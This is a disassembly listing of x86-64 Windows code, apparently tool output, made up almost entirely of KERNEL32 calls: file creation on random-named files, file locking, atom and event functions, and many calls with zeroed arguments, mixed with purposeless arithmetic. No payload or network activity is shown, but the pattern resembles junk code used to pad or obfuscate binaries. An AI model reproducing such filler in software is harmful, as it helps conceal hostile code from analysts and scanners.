sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cdc], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8d48], rax
lea rdx, [rsp + 0xa758]
mov rcx, qword [rsp + 0xac30]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4de0], eax
mov rax, qword [rsp + 0xafe8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9780]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14024f318], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
lea rcx, [rsp + 0xac08]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov eax, dword [rsp + 0x4a40]
mov dword [rsp + 0x4de4], eax
mov rcx, qword [rsp + 0xad78]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, byte [rsp + 0x2bd]
movzx ecx, byte [rsp + 0x26a]
sub eax, ecx
mov rcx, qword [rsp + 0xaed8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9af0]
mov rcx, qword [0x14022fb60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8180], rax
lea rcx, [rsp + 0xa358]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xaaa8], rax
lea rdx, [rsp + 0xb078]
mov rcx, qword [rsp + 0xa1e8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4de8], eax
mov rcx, qword [rsp + 0x9178]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov r9d, 0xa81
xor r8d, r8d
lea rdx, [rsp + 0xaaf0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4d78], eax
lea rax, [rsp + 0x94f8]
mov qword [rsp + 0xb1b0], rax
mov rax, qword [rsp + 0xa740]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf64]
and eax, ecx
mov word [rsp + 0x6b4], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.L7bKJahfAk
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb1b8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
mov edx, 0x1e33
mov rcx, qword [rsp + 0xa430]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4ca0], eax
movsx eax, byte [rsp + 0x2a2]
mov rcx, qword [rsp + 0xa448]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x197], al
mov eax, dword [rsp + 0x4380]
movzx ecx, al
mov eax, dword [rsp + 0x47c4]
shl eax, cl
mov dword [rsp + 0x4cd8], eax
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x1f800]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4dec], eax
mov eax, dword [rsp + 0x490c]
mov ecx, dword [rsp + 0x48cc]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaae8]
mov dword [rcx], eax
lea rdx, [rsp + 0x9c90]
mov rcx, qword [rsp + 0xa970]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4d90], eax
lea rcx, [0x140233360]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1374], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.BdlWOc
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb1c0], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xa680], rax
lea rcx, [rsp + 0x1a888]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
movzx eax, word [rsp + 0xe64]
mov word [0x14024f12c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx ecx, word [rsp + 0xf50]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10a0], ax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x3cde
mov r9d, 0x2b49
mov r8d, 0x9271081a
mov edx, 2
mov rcx, qword [rsp + 0xa938]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4ccc], eax
mov rax, qword [rsp + 0xb160]
mov qword [rsp + 0xb1c8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x95a8], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9648], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x214]
or eax, ecx
mov rcx, qword [rsp + 0xa310]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8f78], rax
lea rax, [0x14024f3c0]
mov qword [rsp + 0xb1d0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.SKD6cL0j4C5YBf_bZFQQV3RugLN
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb1d8], rax
mov eax, dword [rsp + 0x4880]
mov rcx, qword [rsp + 0xaa48]
mov qword [rsp + 0xb1e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb1e0]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x9ec0]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
movsx eax, word [rsp + 0xf54]
movsx ecx, word [rsp + 0x1084]
add eax, ecx
mov word [rsp + 0xef0], ax
xor r8d, r8d
mov edx, 0x40
lea rcx, [rsp + 0x1fda0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4924], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea rax, [rsp + 0x154]
mov qword [rsp + 0xb1e8], rax
mov rax, qword [rsp + 0xa998]
mov rcx, qword [rsp + 0x9e28]
mov eax, dword [rax]
imul eax, dword [rcx]
mov dword [rsp + 0x4af4], eax
movzx eax, word [rsp + 0x1408]
mov word [rsp + 0x1428], ax
lea rcx, [rsp + 0x1aa98]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rax, qword [0x14024f398]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x10d]
and eax, ecx
mov byte [0x140221039], al
mov rcx, qword [rsp + 0xb028]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xa698]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa630]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8328], rax
lea rcx, [rsp + 0x1a408]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov rax, qword [rsp + 0x9d70]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2bd]
sub eax, ecx
mov rcx, qword [rsp + 0x95b0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9520]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb128]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xcbc], ax
mov rax, qword [rsp + 0x8e10]
mov ecx, dword [rsp + 0x4570]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9a10]
mov dword [rcx], eax
lea rdx, [rsp + 0xa918]
mov rcx, qword [rsp + 0x96c8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4a50], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.84j773zD
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb1f0], rax
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x20100]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4c90], eax
lea rax, [0x14022fb68]
mov qword [rsp + 0xb1f8], rax
mov dword [rsp + 0x20], 0x2834
mov r9d, 0x38b
mov r8d, 0x2692
mov edx, 0x3ac4
mov rcx, qword [rsp + 0x9a50]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4994], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
mov rax, qword [rsp + 0xa8b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x275]
add eax, ecx
mov rcx, qword [rsp + 0x9528]
mov byte [rcx], al
mov rcx, qword [rsp + 0x9728]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x6b4]
mov qword [rsp + 0xb200], rax
mov rax, qword [rsp + 0x9270]
mov rcx, qword [rsp + 0x8298]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9c88], rax
lea rcx, [rsp + 0xafb8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rcx, qword [rsp + 0x9668]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [rsp + 0x49a8]
mov ecx, dword [rsp + 0x4ba8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x44c4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0x11d4]
mov rcx, qword [rsp + 0xa578]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x14022fbc4], ax
lea rcx, [rsp + 0x1a618]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x9218]
movzx eax, byte [rax]
mov byte [rsp + 0x2ca], al
mov rax, qword [rsp + 0xa3a0]
mov rcx, qword [rsp + 0x97c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xaa20]
mov qword [rcx], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
mov rax, qword [0x14024f3c0]
mov rcx, qword [rsp + 0xa030]
mov qword [rsp + 0xb208], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb208]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x8240], rax
mov rax, qword [rsp + 0xac78]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x27d]
sar eax, cl
mov byte [rsp + 0x14b], al
movsx eax, word [rsp + 0x1110]
movsx ecx, word [rsp + 0x7e0]
xor eax, ecx
mov word [rsp + 0x10fc], ax
mov r9d, 2
lea r8, [rsp + 0xab28]
mov rdx, qword [rsp + 0xa490]
mov rcx, qword [rsp + 0x9c68]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4df0], eax
mov eax, dword [0x14022fb68]
mov dword [rsp + 0x4df4], eax
movzx ecx, word [rsp + 0x13a8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x12d4], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xb210], rax
movzx eax, word [rsp + 0x111c]
movzx ecx, word [rsp + 0x910]
sub eax, ecx
mov word [rsp + 0x1164], ax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0xf84
mov r9d, 0x1610
mov r8d, 0x5e7b0e88
mov edx, 2
mov rcx, qword [rsp + 0xb138]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4844], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xade0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xb218], rax
lea rdx, [rsp + 0xa758]
mov rcx, qword [rsp + 0x9da8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4c6c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xb220], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x36f3
mov r9d, 0x1033
mov r8d, 0x2941579e
mov edx, 2
mov rcx, qword [rsp + 0x97b0]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4da4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov rax, qword [rsp + 0xa270]
movzx eax, byte [rax]
mov byte [rsp + 0x2cb], al
mov rax, qword [rsp + 0x9ac8]
mov eax, dword [rax]
mov dword [0x14024f128], eax
mov edx, 0x2460
mov rcx, qword [rsp + 0xb120]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4df8], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rcx, qword [rsp + 0x9570]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
lea rcx, [rsp + 0x1aac8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
mov dword [rsp + 0x20], 0x2ec9
mov r9d, 0x1bdc
mov r8d, 0x2074
mov edx, 0x1483
mov rcx, qword [rsp + 0xa2a8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4dc0], eax
mov rax, qword [rsp + 0x9af8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8508]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xaee8]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x9fe8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.cMSiWoDGiSFd45mQ5u4NGY
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb228], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rcx, qword [rsp + 0x96b0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, qword [rsp + 0x9720]
mov rcx, qword [rsp + 0xa9e8]
mov rax, qword [rax]
imul rax, qword [rcx]
mov rcx, qword [rsp + 0x9f28]
mov qword [rcx], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, str.DuRZVC.T6xORuH
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x11c0], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
lea rax, [0x14022fb6e]
mov qword [rsp + 0xb230], rax
movzx ecx, word [rsp + 0xfa0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1394], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xb238], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x361f
mov r9d, 0x399a
mov r8d, 0x7e4eefc6
mov edx, 1
mov rcx, qword [rsp + 0x9fd8]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4914], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x3658
mov r9d, 0x677
mov r8d, 0x35090334
mov edx, 2
mov rcx, qword [rsp + 0x9b18]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4bdc], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
lea rcx, [rsp + 0x1a7f8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xb240], rax
mov rax, qword [rsp + 0x9f50]
mov ecx, dword [rsp + 0x4d54]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4dcc], eax
lea rax, [rsp + 0x107]
mov qword [rsp + 0xb248], rax
mov rax, qword [rsp + 0x8230]
mov rcx, qword [rsp + 0x7b18]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x99b8], rax
movzx ecx, word [rsp + 0x1044]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfdc], ax
mov rax, qword [rsp + 0x9f38]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9d90]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xaf8], ax
mov rax, qword [rsp + 0xabb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9628]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9f60]
mov word [rcx], ax
movzx eax, byte [rsp + 0x2c6]
mov rcx, qword [rsp + 0xac98]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14024f250], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xa680], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx ecx, word [rsp + 0x13cc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10d0], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov eax, dword [rsp + 0x4b18]
mov ecx, dword [rsp + 0x4948]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4594], eax
lea rdx, [rsp + 0x9ca8]
mov rcx, qword [rsp + 0x9da8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4dfc], eax
movzx ecx, word [rsp + 0xfc0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1148], ax
lea rax, [rsp + 0xeec]
mov qword [rsp + 0xb250], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xb258], rax
mov rax, qword [rsp + 0xa9d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ba8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9588]
mov dword [rcx], eax
mov edx, 0x430
mov rcx, qword [rsp + 0xac90]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x49bc], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xad28], rax
mov rcx, qword [rsp + 0x9e80]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xa940]
movzx eax, word [rax]
mov word [rsp + 0x142c], ax
mov rax, qword [rsp + 0xaea8]
mov ecx, dword [0x14022fb68]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x49f0], eax
movsx eax, byte [rsp + 0x299]
movsx ecx, byte [rsp + 0x107]
add eax, ecx
mov byte [rsp + 0x8b], al
lea rcx, str.9vT.mO5.lWxfm_H9x3CVpr
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1430], ax
movzx ecx, word [rsp + 0x13cc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10b4], ax
movzx eax, word [rsp + 0xfb0]
mov rcx, qword [rsp + 0x9820]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xe98], ax
mov rcx, qword [rsp + 0xa6b0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx ecx, word [rsp + 0x1018]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1434], ax
mov rax, qword [rsp + 0xacf0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x10d]
xor eax, ecx
mov rcx, qword [rsp + 0x9b40]
mov byte [rcx], al
xor r9d, r9d
lea r8, [rsp + 0x9ee0]
mov rdx, qword [rsp + 0x9a58]
mov rcx, qword [rsp + 0xb228]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4ad0], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9950], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xb260], rax
mov rcx, qword [rsp + 0xa440]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
mov rax, qword [rsp + 0x9fc8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xaa48]
mov qword [rsp + 0xb268], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb268]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [0x14024f298]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xab48], rax
mov rax, qword [rsp + 0xa570]
mov rax, qword [rax]
mov qword [rsp + 0xb270], rax
mov rax, qword [rsp + 0x9688]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x93b0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8e30], rax
mov rax, qword [rsp + 0x9b50]
mov rcx, qword [rsp + 0xadb0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8828], rax
mov rax, qword [rsp + 0x9660]
movzx eax, word [rax]
mov word [rsp + 0x1438], ax
mov rax, qword [rsp + 0x97f0]
mov rcx, qword [rsp + 0x9be0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8650], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.QJl3DiaHT2nALO9XoIQKdaGsA6ViRL6gBQ5
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb278], rax
movzx ecx, word [rsp + 0x10e0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x12ec], ax
movzx ecx, word [rsp + 0x1180]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1240], ax
mov rax, qword [rsp + 0x9a20]
mov rcx, qword [rsp + 0x8ce8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4538], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xb280], rax
mov rax, qword [rsp + 0xa6e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1b4]
and eax, ecx
mov byte [rsp + 0x2a7], al
movzx ecx, word [rsp + 0xfcc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10f4], ax
movsx eax, word [rsp + 0xe44]
mov rcx, qword [rsp + 0xa7c8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf64], ax
lea rax, [rsp + 0x277]
mov qword [0x14024f120], rax
lea rax, [0x14024f2d8]
mov qword [rsp + 0xb288], rax
mov rax, qword [rsp + 0x9588]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4c80]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4c58], eax
movzx ecx, word [rsp + 0xf50]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x11e8], ax
mov rax, qword [rsp + 0xa0a0]
movzx eax, word [rax]
mov word [rsp + 0x143c], ax
lea rcx, [rsp + 0xb290]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xor r8d, r8d
mov edx, 0x80
lea rcx, [rsp + 0x20220]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x499c], eax
mov rax, qword [rsp + 0xaf10]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x10d]
add eax, ecx
mov byte [rsp + 0x26a], al
movsx eax, word [rsp + 0xf70]
movsx ecx, word [rsp + 0xa2c]
sub eax, ecx
mov word [rsp + 0x6a0], ax
mov r9d, 0x1e75
xor r8d, r8d
lea rdx, [rsp + 0xa018]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x46f0], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xb298], rax
mov rax, qword [rsp + 0xa930]
mov rcx, qword [rsp + 0xa738]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4df4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
movsx eax, byte [rsp + 0x286]
mov rcx, qword [rsp + 0x97d0]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9988]
mov byte [rcx], al
movzx ecx, word [rsp + 0x132c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x13f0], ax
movzx ecx, word [rsp + 0xfd0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1440], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
lea rcx, [rsp + 0xacd8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx ecx, word [rsp + 0x1080]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1444], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
mov rax, qword [rsp + 0x7ed0]
mov qword [rsp + 0xb2a0], rax
xor r8d, r8d
mov edx, 0x10
lea rcx, [rsp + 0x20b20]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4d70], eax
mov eax, dword [0x14024f148]
mov ecx, dword [rsp + 0x465c]
or ecx, eax
mov eax, ecx
mov rcx, qword [0x14024f368]
mov dword [rcx], eax
movzx ecx, word [rsp + 0x121c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1448], ax
movzx ecx, word [rsp + 0x116c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10f8], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa7c0], rax
movzx ecx, word [rsp + 0x1004]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x144c], ax
lea rcx, [rsp + 0x1a588]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
mov edx, 0x1448
mov rcx, qword [rsp + 0xa150]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4dc4], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.bDBGzTAEsRZUvvSo4W
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb2a8], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xb030], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
